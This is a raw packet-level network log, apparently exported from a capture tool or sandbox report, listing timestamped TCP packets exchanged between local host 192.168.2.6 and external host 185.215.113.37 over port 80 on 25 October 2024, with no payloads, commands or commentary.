Oct 25, 2024 13:50:11.929619074 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.929626942 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.929651976 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.929662943 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.929687023 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.929719925 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.929719925 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.929744959 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.929773092 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.971636057 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.971692085 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.971726894 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.971755028 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.971776009 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.971776962 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.971827984 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.971828938 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.971863031 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.971879959 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.971899033 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.971914053 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.971950054 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.971951008 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.971987009 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.971998930 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.972019911 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.972053051 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.972069979 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.972076893 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.972105026 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.972122908 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.972152948 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.972155094 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.972187996 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.972213030 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.972222090 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.972235918 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.972259045 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.972268105 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.972310066 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.972311020 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.972346067 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.972359896 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.972378969 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.972387075 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.972413063 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.972433090 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.972445965 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.972460032 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.972477913 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.972493887 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.972511053 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.972522974 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.972544909 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.972559929 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.972579002 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.972587109 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.972611904 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.972630978 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.972646952 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.972657919 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.972697020 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:12.014379025 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:12.014431953 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:12.014466047 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:12.014472008 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:12.014504910 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:12.014545918 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:12.026316881 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:12.026350975 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:12.026385069 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:12.026406050 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:12.026441097 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.081748009 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.081796885 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.081841946 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.081854105 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.081876993 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.081906080 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.081918955 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.081965923 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.081970930 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.082005024 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.082016945 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.082040071 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.082050085 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.082091093 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.082098961 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.082135916 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.082142115 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.082175970 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.082187891 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.082209110 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.082221031 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.082245111 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.082261086 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.082288980 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.082679033 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.082731009 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.082734108 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.082768917 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.082782984 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.082802057 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.082834959 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.082840919 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.082866907 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.082868099 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.082878113 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.082910061 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.082925081 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.082945108 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.082952023 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.082995892 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.083034039 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.083041906 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.083066940 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.083097935 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.083100080 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.083132982 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.083133936 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.083156109 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.083167076 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.083183050 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.083200932 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.083230972 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.083235025 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.083270073 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.083276987 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.083303928 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.083317041 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.083352089 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.083354950 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.083391905 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.083412886 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.083424091 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.083441019 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.083458900 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.083467960 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.083492041 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.083512068 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.083527088 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.083538055 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.083559990 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.083590984 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.083611965 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.083612919 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.083630085 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.083661079 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.083673954 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.083693027 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.083725929 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.083736897 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.083748102 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.083758116 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.083784103 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.083792925 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.083813906 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.083828926 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.083832979 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.083863020 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.083890915 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.083903074 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.084017038 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084049940 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084063053 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.084081888 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084093094 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.084115982 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084125996 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.084150076 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084160089 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.084182978 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084199905 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.084213972 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084225893 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.084248066 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084259033 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.084283113 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084291935 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.084316969 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084327936 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.084352016 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084362030 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.084388971 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084400892 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.084423065 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084434032 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.084455967 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084467888 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.084487915 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084503889 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.084532022 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.084544897 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084580898 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084592104 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.084611893 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084620953 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.084656954 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.084660053 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084691048 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084703922 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.084724903 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084734917 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.084757090 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084769964 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.084790945 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084822893 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084822893 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.084832907 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.084857941 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084867954 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.084889889 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084907055 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.084924936 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084945917 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.084958076 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.084969997 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.085006952 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.085021019 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.085038900 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.085053921 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.085073948 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.085091114 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.085108042 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.085120916 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.085141897 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.085153103 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.085175037 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.085186958 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.085210085 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.085221052 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.085243940 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.085257053 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.085277081 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.085289955 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.085309029 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.085320950 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.085342884 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.085352898 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.085376024 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.085388899 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.085410118 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.085422993 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.085443020 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.085455894 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.085477114 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.085489035 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.085510015 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.085520983 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.085542917 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.085563898 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.085576057 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.085587025 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.085608959 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.085622072 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.085642099 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.085656881 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.085678101 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.085697889 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.085711002 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.085725069 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.085747004 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.085757971 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.085777044 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.085793018 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.085892916 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.085896015 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.085932016 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.085958958 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.085985899 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.085997105 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.086019993 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.086029053 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.086056948 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.086059093 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.086071968 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.086090088 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.086105108 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.086122990 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.086139917 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.086157084 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.086174011 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.086189985 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.086204052 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.086221933 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.086236954 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.086256027 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.086267948 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.086288929 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.086301088 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.086322069 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.086333990 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.086354971 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.086366892 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.086388111 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.086397886 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.086421967 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.086433887 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.086455107 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.086460114 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.086487055 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.086499929 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.086522102 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.086533070 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.086553097 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.086566925 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.086591005 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.086613894 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.086658001 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.086760044 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.086811066 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.093115091 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.093184948 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.093195915 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.093234062 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.093250036 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.093301058 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.093311071 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.093336105 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.093349934 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.093370914 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.093383074 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.093405008 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.093420029 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.093439102 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.093458891 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.093476057 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.093481064 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.093512058 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.093523979 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.093547106 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.093559027 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.093583107 CEST	80	49712	185.215.113.37	192.168.2.6
